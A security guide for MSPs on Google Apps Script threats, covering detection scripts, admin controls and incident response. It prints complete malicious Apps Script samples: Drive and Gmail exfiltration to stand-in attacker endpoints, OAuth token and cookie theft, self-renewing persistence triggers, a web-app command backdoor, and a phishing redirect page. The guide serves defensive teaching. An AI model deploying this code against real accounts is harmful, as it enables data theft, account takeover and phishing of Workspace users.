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Google Apps Script Security: Hidden Dangers and Detection Strategies¶
This guide provides security professionals and MSPs with comprehensive coverage of the security risks associated with Google Apps Script, focusing on detection, prevention, and remediation strategies.
Attribution: This guide incorporates insights from the excellent HackTricks Google Apps Script Phishing Guide. We recommend reviewing the original resource for additional offensive security perspectives.
Understanding the Apps Script Threat Landscape¶
What Makes Apps Script Dangerous¶
Google Apps Script presents unique security challenges due to its powerful capabilities and integration with Google Workspace:
- Native Integration
- Scripts run within Google's infrastructure
- Direct access to user's Google services
-
Ability to interact across multiple Google products
-
Persistence Mechanisms
- Scripts can create time-driven triggers
- Can establish document-based triggers (onOpen, onEdit)
-
Ability to deploy as web applications
-
Privileged Execution
- Scripts execute with the user's permissions
- Can access sensitive data across services
-
May operate with admin privileges if authorized by an administrator
-
Stealth Capabilities
- Scripts can be embedded in documents with minimal visibility
- No obvious indication of script execution in many cases
- Can operate silently in the background
The "Harmless Spreadsheet" Attack Vector¶
A particularly dangerous attack vector involves embedding malicious Apps Script in seemingly innocuous spreadsheets or documents:
Attack Scenario:
1. Attacker creates a legitimate-looking Google Sheet with embedded malicious script
2. Script is configured with an onOpen
trigger to execute when document is opened
3. Document is shared with target users with a convincing pretext
4. When opened, the script executes with the user's permissions
Malicious Activities Possible: - Exfiltrating sensitive data from the user's Drive, Gmail, or Calendar - Creating persistence mechanisms for ongoing access - Deploying additional malicious scripts - Manipulating document sharing permissions - Establishing backdoor access to the user's account
Technical Analysis of High-Risk Script Patterns¶
1. Malicious onOpen Triggers¶
The onOpen
trigger is particularly dangerous as it executes automatically when a document is opened:
// Example of malicious onOpen trigger in a Google Sheet
function onOpen() {
// Appears innocuous - creates a custom menu
SpreadsheetApp.getUi()
.createMenu('Helpful Tools')
.addItem('Update Data', 'updateData')
.addToUi();
// Covert malicious function execution
harvestUserData();
}
// The malicious function that runs silently on open
function harvestUserData() {
// Access user's Drive files
const files = DriveApp.getFiles();
let sensitiveFiles = [];
while (files.hasNext()) {
const file = files.next();
// Look for sensitive content
if (file.getName().toLowerCase().includes('confidential') ||
file.getName().toLowerCase().includes('password') ||
file.getName().toLowerCase().includes('financial')) {
sensitiveFiles.push({
name: file.getName(),
id: file.getId(),
url: file.getUrl()
});
}
}
// Exfiltrate the data
if (sensitiveFiles.length > 0) {
exfiltrateData(sensitiveFiles);
}
}
// Function to exfiltrate data
function exfiltrateData(data) {
// Option 1: Send to attacker-controlled web service
UrlFetchApp.fetch('https://attacker-controlled-endpoint.com/collect', {
'method': 'post',
'contentType': 'application/json',
'payload': JSON.stringify(data)
});
// Option 2: Add attacker as viewer to sensitive files
for (let i = 0; i < data.length; i++) {
try {
DriveApp.getFileById(data[i].id).addViewer('attacker@example.com');
} catch (e) {
// Silently fail if permission can't be added
}
}
}
// OAuth Token Exfiltration Example
function stealOAuthToken() {
// Get active user and OAuth token
var userEmail = Session.getActiveUser().getEmail();
var oauthToken = ScriptApp.getOAuthToken();
// Send captured token to attacker-controlled endpoint
UrlFetchApp.fetch('https://attacker-controlled-endpoint.com/tokens', {
'method': 'post',
'contentType': 'application/json',
'payload': JSON.stringify({
'email': userEmail,
'token': oauthToken,
'timestamp': new Date().toISOString()
})
});
// Return something innocuous to avoid suspicion
return "Processing complete!";
}
2. Time-Based Triggers for Persistence¶
Time-based triggers create persistent access that continues to operate even after the user closes the document:
// Function that creates a persistent time-based trigger
function establishPersistence() {
// Delete any existing triggers with the same function name
// to avoid duplicate triggers
const triggers = ScriptApp.getProjectTriggers();
for (let i = 0; i < triggers.length; i++) {
if (triggers[i].getHandlerFunction() === 'exfiltrateEmails') {
ScriptApp.deleteTrigger(triggers[i]);
}
}
// Create new trigger that runs every hour
ScriptApp.newTrigger('exfiltrateEmails')
.timeBased()
.everyHours(1)
.create();
// Create another trigger that runs daily to maintain persistence
ScriptApp.newTrigger('checkAndReestablishTriggers')
.timeBased()
.everyDays(1)
.create();
}
// Function executed by the trigger
function exfiltrateEmails() {
// Search for sensitive emails
const threads = GmailApp.search('from:finance OR subject:confidential OR subject:password');
// Extract email data
let emailData = [];
for (let i = 0; i < threads.length && i < 10; i++) {
const messages = threads[i].getMessages();
for (let j = 0; j < messages.length; j++) {
const message = messages[j];
emailData.push({
from: message.getFrom(),
to: message.getTo(),
subject: message.getSubject(),
date: message.getDate(),
body: message.getPlainBody().substring(0, 1000) // Limit size
});
}
}
// Exfiltrate data if found
if (emailData.length > 0) {
UrlFetchApp.fetch('https://attacker-endpoint.com/emails', {
'method': 'post',
'contentType': 'application/json',
'payload': JSON.stringify(emailData)
});
}
}
// Function to check and reestablish triggers if removed
function checkAndReestablishTriggers() {
let foundExfilTrigger = false;
// Check if our triggers still exist
const triggers = ScriptApp.getProjectTriggers();
for (let i = 0; i < triggers.length; i++) {
if (triggers[i].getHandlerFunction() === 'exfiltrateEmails') {
foundExfilTrigger = true;
break;
}
}
// If trigger was removed, recreate it
if (!foundExfilTrigger) {
establishPersistence();
}
}
3. Web App Deployment for External Access¶
Malicious scripts can be deployed as web apps to enable external control and data access:
// Function to set up a malicious web app
function setupWebApp() {
// This function would be manually run once to deploy the script as a web app
// The attacker would need to authorize it with appropriate permissions
console.log("Deploy this script as a web app with the following settings:");
console.log("- Execute as: User accessing the web app");
console.log("- Who has access: Anyone within [organization]");
}
// This function handles GET requests
function doGet(e) {
// Provide an innocuous interface
return HtmlService.createHtmlOutput('<h1>Data Processing Utility</h1><p>System is operational.</p>');
}
// This function handles POST requests - the actual backdoor
function doPost(e) {
const request = JSON.parse(e.postData.contents);
let response = { status: 'error', data: null };
// Command and control functionality
switch (request.command) {
case 'list_files':
response.data = listFiles(request.query || '');
response.status = 'success';
break;
case 'read_file':
response.data = readFile(request.fileId);
response.status = 'success';
break;
case 'create_trigger':
response.data = createCustomTrigger(request.functionName, request.frequency);
response.status = 'success';
break;
case 'execute_function':
response.data = executeFunction(request.functionName, request.parameters);
response.status = 'success';
break;
default:
response.data = 'Unknown command';
}
return ContentService.createTextOutput(JSON.stringify(response))
.setMimeType(ContentService.MimeType.JSON);
}
// Helper functions for the backdoor
function listFiles(query) {
// List files based on a search query
const files = DriveApp.searchFiles(query || 'trashed=false');
let fileList = [];
while (files.hasNext()) {
const file = files.next();
fileList.push({
id: file.getId(),
name: file.getName(),
type: file.getMimeType(),
size: file.getSize(),
url: file.getUrl(),
dateCreated: file.getDateCreated(),
lastUpdated: file.getLastUpdated()
});
}
return fileList;
}
function readFile(fileId) {
// Read content of a specific file
try {
const file = DriveApp.getFileById(fileId);
if (file.getMimeType() === 'application/vnd.google-apps.document') {
return DocumentApp.openById(fileId).getBody().getText();
} else {
// For binary files, we could convert to base64 or provide metadata
return {
name: file.getName(),
size: file.getSize(),
type: file.getMimeType(),
cannotRead: 'Binary or unsupported file type'
};
}
} catch (e) {
return { error: e.toString() };
}
}
// Additional backdoor functions would be implemented here
4. OAuth Token Theft via Apps Script¶
Scripts can be used to steal and exfiltrate OAuth tokens for persistent access:
// NOTE: This is a simplified conceptual example
// Actual implementation would depend on available exploits and vulnerabilities
function attemptTokenExtraction() {
// This is a conceptual representation
// Direct token extraction is not usually possible due to security measures
// But various techniques might be attempted depending on current vulnerabilities
try {
// Approach 1: Attempt to access token through client-side vulnerabilities
// Create HTML with JavaScript that attempts to extract tokens from localStorage or cookies
const html = HtmlService.createHtmlOutput(`
<script>
// Attempt to extract tokens from various storage locations
const tokens = {
localStorage: Object.keys(localStorage)
.filter(key => key.includes('token') || key.includes('auth'))
.reduce((obj, key) => {
obj[key] = localStorage.getItem(key);
return obj;
}, {}),
cookies: document.cookie
};
// Send back to script
google.script.run.receiveTokens(tokens);
</script>
`);
// Show the HTML briefly to execute the script
SpreadsheetApp.getUi().showModalDialog(html, 'Processing Data...');
} catch (e) {
console.log('Token extraction failed: ' + e.toString());
}
}
function receiveTokens(tokenData) {
// Exfiltrate any captured token data
UrlFetchApp.fetch('https://attacker-endpoint.com/tokens', {
'method': 'post',
'contentType': 'application/json',
'payload': JSON.stringify(tokenData)
});
}
// Direct ScriptApp.getOAuthToken theft
function directTokenTheft() {
// Request access to specific API scopes for more permissions
// This will be visible during script authorization, but users often click through
var AdminDirectory = AdminDirectory || {}; // Reference to trigger scope request
var Gmail = Gmail || {}; // Reference to trigger scope request
var Drive = Drive || {}; // Reference to trigger scope request
try {
// Get the OAuth token with elevated scopes
var token = ScriptApp.getOAuthToken();
var email = Session.getActiveUser().getEmail();
// Exfiltrate token
UrlFetchApp.fetch('https://attacker-endpoint.com/tokens', {
'method': 'post',
'contentType': 'application/json',
'payload': JSON.stringify({
'token': token,
'email': email,
'scope': 'elevated_permissions'
})
});
// Can also establish persistence by creating time-based triggers
// that continue to extract and exfiltrate tokens
ScriptApp.newTrigger('directTokenTheft')
.timeBased()
.everyHours(12) // Run every 12 hours
.create();
return "Processing complete!";
} catch (e) {
return "Error: " + e.toString();
}
}
Detection Strategies for Malicious Apps Script¶
1. Administrative Audit and Controls¶
Implement proper administrative controls to detect and prevent malicious Apps Script:
Apps Script Project Audit:
Admin Console > Security > API Controls > Apps Script
- Review and configure Apps Script settings
- Set appropriate controls for:
- Apps Script API access
- Deployment of web apps and add-ons
- Apps Script runtime access
Key Settings to Configure: - Set Google Cloud Platform (GCP) trust to Block all API access or Only allow trusted - Configure Apps Script API access appropriately - Set External user access to restrict web app accessibility
Script Project Inventory:
# Python script to inventory Apps Script projects
# Requires Apps Script API enabled and authorized
from googleapiclient.discovery import build
from oauth2client.service_account import ServiceAccountCredentials
def list_all_apps_script_projects(admin_sdk_service, drive_service):
"""Retrieve all Apps Script projects across the organization"""
# Get all users in the organization
users = admin_sdk_service.users().list(customer='my_customer').execute()
all_projects = []
for user in users.get('users', []):
user_email = user['primaryEmail']
try:
# Get user's drive files that are Apps Script projects
script_files = drive_service.files().list(
q="mimeType='application/vnd.google-apps.script' and trashed=false",
corpora="allDrives",
includeItemsFromAllDrives=True,
supportsAllDrives=True,
fields="files(id, name, createdTime, owners, permissions, webViewLink)"
).execute()
# Add to our collection with user info
for script in script_files.get('files', []):
script['ownerEmail'] = user_email
all_projects.append(script)
except Exception as e:
print(f"Error processing {user_email}: {str(e)}")
return all_projects
# Setup authentication
credentials = ServiceAccountCredentials.from_json_keyfile_name(
'service-account.json',
['https://www.googleapis.com/auth/admin.directory.user',
'https://www.googleapis.com/auth/drive.readonly']
)
credentials = credentials.create_delegated('admin@domain.com')
admin_service = build('admin', 'directory_v1', credentials=credentials)
drive_service = build('drive', 'v3', credentials=credentials)
# Get script projects
script_projects = list_all_apps_script_projects(admin_service, drive_service)
2. Trigger Detection and Monitoring¶
Implement monitoring for Apps Script triggers which are key indicators of potentially malicious activity:
Trigger Inventory Script:
// Apps Script to audit triggers across documents
// This would be deployed as an administrative tool
function auditAllTriggers() {
// Get all spreadsheets in Drive
const spreadsheets = DriveApp.getFilesByType(MimeType.GOOGLE_SHEETS);
const documents = DriveApp.getFilesByType(MimeType.GOOGLE_DOCS);
let allTriggers = [];
// Process spreadsheets
while (spreadsheets.hasNext()) {
const file = spreadsheets.next();
try {
const ss = SpreadsheetApp.openById(file.getId());
allTriggers = allTriggers.concat(getTriggerInfo(file, ss));
} catch (e) {
console.log(`Error processing spreadsheet ${file.getName()}: ${e.message}`);
}
}
// Process documents
while (documents.hasNext()) {
const file = documents.next();
try {
const doc = DocumentApp.openById(file.getId());
allTriggers = allTriggers.concat(getTriggerInfo(file, doc));
} catch (e) {
console.log(`Error processing document ${file.getName()}: ${e.message}`);
}
}
// Output could be saved to a spreadsheet or sent via email
const report = createTriggerReport(allTriggers);
emailReport(report);
}
function getTriggerInfo(file, document) {
// This would need to be run with appropriate permissions
// and may not catch all triggers due to permission limitations
const triggers = ScriptApp.getUserTriggers(document);
return triggers.map(trigger => {
return {
fileName: file.getName(),
fileId: file.getId(),
fileOwner: file.getOwner().getEmail(),
lastUpdated: file.getLastUpdated(),
triggerType: trigger.getEventType(),
handlerFunction: trigger.getHandlerFunction(),
triggerSource: trigger.getTriggerSource(),
triggerSourceId: trigger.getTriggerSourceId()
};
});
}
function createTriggerReport(triggers) {
// Create a report from trigger data
// Implementation details would depend on desired format
}
function emailReport(report) {
// Send the report to security team
GmailApp.sendEmail(
'security-team@company.com',
'Apps Script Trigger Audit Report',
'Please see the attached report for all Apps Script triggers.',
{
attachments: [report]
}
);
}
Monitoring Suspicious Trigger Creation:
Admin Console > Reports > Audit > Apps Script
- Filter for "Create Trigger" events
- Look for:
- Multiple triggers created in short timespan
- Triggers created outside business hours
- Triggers with unusual time intervals (very frequent)
- Time-based triggers in documents from external sources
3. Telemetry Analysis for Apps Script Activity¶
Implement telemetry analysis to detect suspicious Apps Script behavior:
Key Telemetry Indicators:
- URL Fetch Activity
- Monitor for scripts making external API calls
- Look for unusual destinations or patterns
-
Track data volume in outbound requests
-
Service Usage Patterns
- Unusual combinations of service access (Gmail + Drive + Calendar)
- High volume of API calls to sensitive services
-
Access to services unrelated to document's purpose
-
Cross-User Activity
- Scripts that access multiple users' data
- Scripts that establish triggers across multiple users
- Scripts deployed as web apps with unusual access patterns
Sample Monitoring Query:
-- Pseudocode for suspicious Apps Script telemetry analysis
SELECT script_id, user_email, service_name, method_name,
COUNT(*) as call_count, external_domains,
MIN(timestamp) as first_seen, MAX(timestamp) as last_seen
FROM apps_script_logs
WHERE timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
AND (
-- External data exfiltration indicators
method_name = 'UrlFetchApp.fetch'
OR
-- Trigger creation indicators
method_name LIKE '%createTrigger%'
OR
-- Suspicious service usage
(service_name IN ('Gmail', 'Drive', 'AdminDirectory') AND
method_name LIKE '%list%' OR method_name LIKE '%get%')
)
GROUP BY script_id, user_email, service_name, method_name, external_domains
HAVING call_count > 10
ORDER BY call_count DESC
4. Document Analysis for Hidden Scripts¶
Identify potentially malicious scripts embedded in documents:
Document Scanning Script:
# Python script to scan documents for hidden scripts
# Requires Google Workspace API access
from googleapiclient.discovery import build
from oauth2client.service_account import ServiceAccountCredentials
import re
def scan_documents_for_scripts(drive_service):
"""Scan documents for embedded scripts"""
# Get all Google Docs and Sheets
file_types = "'application/vnd.google-apps.document','application/vnd.google-apps.spreadsheet'"
files = drive_service.files().list(
q=f"mimeType in [{file_types}] and trashed=false",
fields="files(id, name, mimeType, owners, createdTime, modifiedTime)"
).execute()
suspicious_files = []
for file in files.get('files', []):
try:
# For each file, check if it has associated scripts
script_links = find_associated_scripts(drive_service, file['id'], file['mimeType'])
if script_links:
file['associated_scripts'] = script_links
suspicious_files.append(file)
except Exception as e:
print(f"Error scanning {file['name']}: {str(e)}")
return suspicious_files
def find_associated_scripts(drive_service, file_id, mime_type):
"""Find scripts associated with a document"""
# This is a simplified approach - actual implementation would
# need to use document-specific APIs to find bound scripts
# For demonstration purposes, we're using a basic check
# A more robust solution would require additional APIs and permissions
# Check for container-bound scripts
linked_scripts = drive_service.files().list(
q=f"'{file_id}' in parents and mimeType='application/vnd.google-apps.script'",
fields="files(id, name, owners)"
).execute()
return linked_scripts.get('files', [])
# Authentication setup
credentials = ServiceAccountCredentials.from_json_keyfile_name(
'service-account.json',
['https://www.googleapis.com/auth/drive.readonly']
)
credentials = credentials.create_delegated('admin@domain.com')
drive_service = build('drive', 'v3', credentials=credentials)
# Scan documents
suspicious_docs = scan_documents_for_scripts(drive_service)
Risk Assessment Criteria for Document Scripts:
- Document Origin:
- External sharing source
- Recently shared from outside organization
-
Anonymous or unknown creator
-
Script Characteristics:
- Script created by different user than document owner
- Script modified after document creation
-
Script with obfuscated or minimal code
-
Permission Requests:
- Scripts requesting unusual permissions
- Multiple services accessed by single script
- Sensitive scopes like Gmail or AdminDirectory
Prevention and Remediation Strategies¶
1. Apps Script Security Controls¶
Implement organization-wide controls to prevent malicious script execution:
Admin Console Settings:
Admin Console > Security > API Controls > Apps Script
- Set "Google Cloud Platform (GCP) trust" to "Only allow trusted"
- Configure "Apps Script API" access appropriately
- Set "External user access" to restrict web app accessibility
- Enable "Script runtime API access" control
- Configure "Apps Script add-on gallery" access
Organizational Script Policies: 1. Create clear policy for acceptable Apps Script development 2. Establish review process for production scripts 3. Document required security practices for script development 4. Implement approval workflow for scripts accessing sensitive services
2. Technical Protective Measures¶
Implement technical controls to reduce Apps Script risks:
Service Account Restrictions:
Admin Console > Security > API Controls > Domain-wide Delegation
- Review and restrict service accounts with domain-wide delegation
- Limit OAuth scopes available to service accounts
- Implement regular reviews of delegated access
Script Execution Controls:
Admin Console > Apps > Google Workspace > Drive and Docs > Features and Applications
- Configure "Apps Script" settings appropriately
- Consider disabling for high-security OUs
External Document Controls:
Admin Console > Apps > Google Workspace > Drive and Docs > Sharing settings
- Configure "Sharing outside of [organization]" settings
- Control "Access Checker" for shared files
- Set appropriate "File sharing" restrictions
3. User Education and Awareness¶
Develop education programs to help users identify risky scripts:
Key User Guidance: 1. Be suspicious of documents requiring immediate enabling of content 2. Check script authorization permissions before accepting 3. Verify document source and sender authenticity 4. Report suspicious automation or unexpected behavior 5. Look for warning signs like unfamiliar permission requests
Warning Signs to Communicate: - Documents requesting unusual permissions - Spreadsheets with unexpected "Loading..." or processing messages - Documents from external sources that require macro/script enabling - Files claiming to need "enhanced features" to function properly
4. Incident Response for Malicious Scripts¶
Develop specific incident response procedures for Apps Script compromise:
Immediate Actions:
- Identify Affected Documents
- Locate all documents containing the suspicious script
-
Identify document sharing scope and potentially affected users
-
Contain the Threat
- Remove sharing permissions from affected documents
- Disable suspected malicious scripts through Admin Console
-
Block external domains used for data exfiltration
-
Eliminate Persistence
- Identify and remove time-based or document triggers
- Check for deployed web applications
-
Review cross-document permissions and access
-
User Account Remediation
- Reset passwords for affected users
- Revoke suspicious OAuth tokens
- Re-enable two-factor authentication if bypassed
Investigation Procedures:
- Script Analysis
- Extract and review script code for malicious functionality
- Identify data access and potential exfiltration methods
-
Determine initial access vector and trigger mechanisms
-
Impact Assessment
- Review audit logs for accessed data
- Analyze API usage patterns for affected users
-
Determine scope of data exposure or manipulation
-
Root Cause Analysis
- Identify how the script was introduced to the environment
- Determine if user error or security control failure enabled the attack
- Document security improvements needed to prevent recurrence
Emerging Threats and Advanced Techniques¶
Sandbox Escape Techniques¶
Advanced attackers may attempt to escape Apps Script sandboxing:
Potential Techniques: 1. Exploiting vulnerabilities in Apps Script runtime environment 2. Leveraging client-side JavaScript execution within HTML Service 3. Combining Apps Script with other attack vectors for privilege escalation 4. Exploiting trusted communications between Apps Script and Google services
Detection Focus: - Unusual combinations of Apps Script and client-side JavaScript - Scripts with minimal visible functionality but extensive HTML service usage - Excessive or unusual error patterns in script execution - Scripts accessing multiple Google services with unusual patterns
Supply Chain Risks¶
Be aware of supply chain risks involving third-party scripts:
Risk Scenarios: 1. Legitimate third-party add-ons compromised by attackers 2. Development tools or libraries containing malicious code 3. Trusted scripts modified by insider threats 4. Abandoned scripts acquired and weaponized by threat actors
Mitigation Strategies: - Implement vetting process for third-party scripts and add-ons - Create inventory of approved scripts and developers - Conduct periodic security reviews of third-party components - Monitor for unusual changes to previously vetted scripts
Apps Script Phishing Techniques¶
Malicious Redirect Web Apps¶
Attackers leverage Google Apps Script's ability to deploy web applications for phishing:
// Example of a malicious Apps Script web app that redirects to a phishing site
// Standard Apps Script doGet function
function doGet(e) {
// Extract parameters from the request
var params = e.parameter;
var email = params.email || '';
// Create HTML with redirect to phishing site
var html = HtmlService.createHtmlOutput(`
<!DOCTYPE html>
<html>
<head>
<title>Google Document</title>
<script>
// Redirect to phishing site with extracted parameters
window.location.href = "https://malicious-phishing-site.com/google-login?email=${email}";
</script>
</head>
<body>
<p>Loading document, please wait...</p>
</body>
</html>
`);
// Return the HTML content
return html;
}
Distribution Techniques: 1. Deploy as web app with "Anyone, even anonymous" access 2. Send link via email, chat, or calendar invites 3. Disguise link with URL shortener or in messages 4. Include user's email as parameter for personalized phishing
Why This Works:
- Uses legitimate script.google.com
domain
- Appears as Google-hosted content to users
- May bypass URL filtering that trusts Google domains
- Creates sense of legitimacy due to hosting on Google infrastructure
Enhanced Defense Strategies¶
-
Web App Deployment Controls
-
Script URL Monitoring
# Python script to detect script.google.com redirectors def detect_apps_script_redirectors(proxy_logs): """Analyze proxy logs for suspicious script.google.com access""" suspicious_activities = [] for log_entry in proxy_logs: url = log_entry.get('url', '') # Check for script.google.com URLs if 'script.google.com' in url and '/macros/' in url: # Extract request and referrer information referrer = log_entry.get('referrer', '') user_agent = log_entry.get('user_agent', '') user = log_entry.get('user', '') # Check if this is a suspicious pattern if is_suspicious_apps_script_access(url, referrer, user_agent): suspicious_activities.append({ 'user': user, 'script_url': url, 'referrer': referrer, 'timestamp': log_entry.get('timestamp') }) return suspicious_activities def is_suspicious_apps_script_access(url, referrer, user_agent): """Determine if Apps Script access follows suspicious patterns""" # Check for URLs with unusual parameters if 'email=' in url or 'user=' in url or 'account=' in url: return True # Check for unusual referrers suspicious_referrers = ['email', 'mail', 'document', 'login', 'signin'] if any(term in referrer.lower() for term in suspicious_referrers): return True # Check for script URLs in suspicious contexts if ('calendar.google.com' in referrer and 'script.google.com' in url) or \ ('mail.google.com' in referrer and 'script.google.com' in url): return True return False
-
Content Security Policies
- Implement CSP rules to restrict redirects from script.google.com
- Configure proxy/firewall rules to inspect script.google.com redirects
- Deploy browser extensions that analyze redirect chains
Implementation Checklist¶
Immediate Security Controls¶
- Configure Apps Script settings in Admin Console
- Implement script project inventory process
- Deploy trigger detection monitoring
- Create user guidance for script authorization
- Establish incident response procedure for script-based attacks
- Configure web app deployment restrictions
- Implement monitoring for Apps Script phishing techniques
Ongoing Maintenance Activities¶
- Weekly review of new script projects and triggers
- Monthly audit of external data connections from scripts
- Quarterly review of Apps Script security settings
- Regular user education updates on script security risks
- Annual penetration testing including Apps Script attack vectors
- Conduct Apps Script phishing simulations to test awareness
Resources¶
- Google Apps Script Developer Documentation
- Google Workspace Admin Help: Apps Script Settings
- Apps Script API Documentation
- Google Workspace Admin SDK
- OWASP Client-Side Security Guidance
Note: The example code in this document is provided for educational purposes to help security professionals understand and detect malicious Apps Script patterns. All testing should be performed only in authorized environments with proper approvals.